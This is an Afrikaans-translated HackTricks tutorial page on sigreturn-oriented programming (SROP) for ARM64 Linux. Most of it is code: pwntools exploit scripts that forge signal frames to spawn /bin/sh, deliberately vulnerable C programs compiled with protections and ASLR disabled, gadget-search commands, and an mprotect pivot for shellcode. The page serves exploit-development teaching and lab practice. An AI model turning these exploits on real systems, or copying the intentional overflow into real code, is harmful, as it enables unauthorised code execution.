> [!TIP]

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Reading time: 8 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Pwntools voorbeeld

Hierdie voorbeeld skep die kwesbare binêre en benut dit. Die binêre lees in die stapel en roep dan sigreturn aan:

python
from pwn import *

binsh = "/bin/sh"
context.clear()
context.arch = "arm64"

asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)

frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']

p = process(binary.path)
p.send(bytes(frame))
p.interactive()

bof voorbeeld

Kode

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}


char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}

Compile dit met:

bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR

Exploit

Die exploit misbruik die bof om terug te keer na die oproep na sigreturn en berei die stapel voor om execve aan te roep met 'n wysiger na /bin/sh.

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

bof voorbeeld sonder sigreturn

Kode

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}

Exploit

In die afdeling vdso is dit moontlik om 'n oproep na sigreturn in die offset 0x7b0 te vind:

Daarom, as dit gelek word, is dit moontlik om hierdie adres te gebruik om toegang tot 'n sigreturn te verkry as die binêre dit nie laai nie:

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Vir meer inligting oor vdso, kyk:

Ret2vDSO

En om die adres van /bin/sh te omseil, kan jy verskeie omgewingsveranderlikes skep wat daarna verwys, vir meer inligting:

ASLR


Vind sigreturn gadgets outomaties (2023-2025)

Op moderne verspreidings word die sigreturn trampoline steeds deur die vDSO bladsy uitgevoer, maar die presiese offset kan verskil tussen kernweergawe en bouvlagte soos BTI (+branch-protection) of PAC. Outomatisering van sy ontdekking voorkom dat offsets hard-gecodeer word:

bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn

# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"   # 0x8b = __NR_rt_sigreturn

Both tools verstaan AArch64 kodering en sal kandidaat mov x8, 0x8b ; svc #0 volgorde lys wat as die SROP gadget gebruik kan word.

Nota: Wanneer binêre saamgestel word met BTI is die eerste instruksie van elke geldige indirekte takteiken bti c. sigreturn trampolines wat deur die linker geplaas is, sluit reeds die korrekte BTI landing pad in, sodat die gadget bruikbaar bly vanaf onprivilegieerde kode.

Ketting SROP met ROP (pivot via mprotect)

rt_sigreturn laat ons toe om alle algemene registers en pstate te beheer. 'n Algemene patroon op x86 is: 1) gebruik SROP om mprotect aan te roep, 2) pivot na 'n nuwe uitvoerbare stapel wat shell-code bevat. Dieselfde idee werk op ARM64:

python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect   # 226
frame.x0 = 0x400000                # page-aligned stack address
frame.x1 = 0x2000                  # size
frame.x2 = 7                       # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100        # new pivot
frame.pc = svc_call                # will re-enter kernel

Na die stuur van die raam kan jy 'n tweede fase stuur wat rou shell-code bevat by 0x400000+0x100. Omdat AArch64 PC-relative adressering gebruik, is dit dikwels meer gerieflik as om groot ROP-kettings te bou.

Kernel validasie, PAC & Skadu-Stapels

Linux 5.16 het strenger validasie van gebruikersruimte seinraamwerke bekendgestel (commit 36f5a6c73096). Die kernel kontroleer nou:

  • uc_flags moet UC_FP_XSTATE bevat wanneer extra_context teenwoordig is.
  • Die gereserveerde woord in struct rt_sigframe moet nul wees.
  • Elke pointer in die extra_context rekord is uitgelijnd en wys binne die gebruikersadresruimte.

pwntools>=4.10 vervaardig outomaties voldoenende rame, maar as jy dit handmatig bou, maak seker om gereserveer te nul-initialiseer en die SVE rekord te om te laat tensy jy dit regtig nodig het—anders sal rt_sigreturn SIGSEGV lewer in plaas van terug te keer.

Begin met hoofstroom Android 14 en Fedora 38, word gebruikersland standaard saamgecompileer met PAC (Pointer Authentication) en BTI geaktiveer (-mbranch-protection=standard). SROP self word nie beïnvloed nie omdat die kernel PC direk van die vervaardigde raam oorskryf, wat die geverifieerde LR wat op die stapel gestoor is, omseil; egter, enige volgende ROP-ketting wat indirekte takke uitvoer, moet na BTI-geaktiveerde instruksies of PACed adresse spring. Hou dit in gedagte wanneer jy gadgets kies.

Skadu-oproep-stapels wat in ARMv8.9 bekendgestel is (en reeds op ChromeOS 1.27+ geaktiveer is) is 'n kompilervlak mitigasie en interfereer nie met SROP nie omdat geen terugkeer instruksies uitgevoer word—die vloei van beheer word deur die kernel oorgedra.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks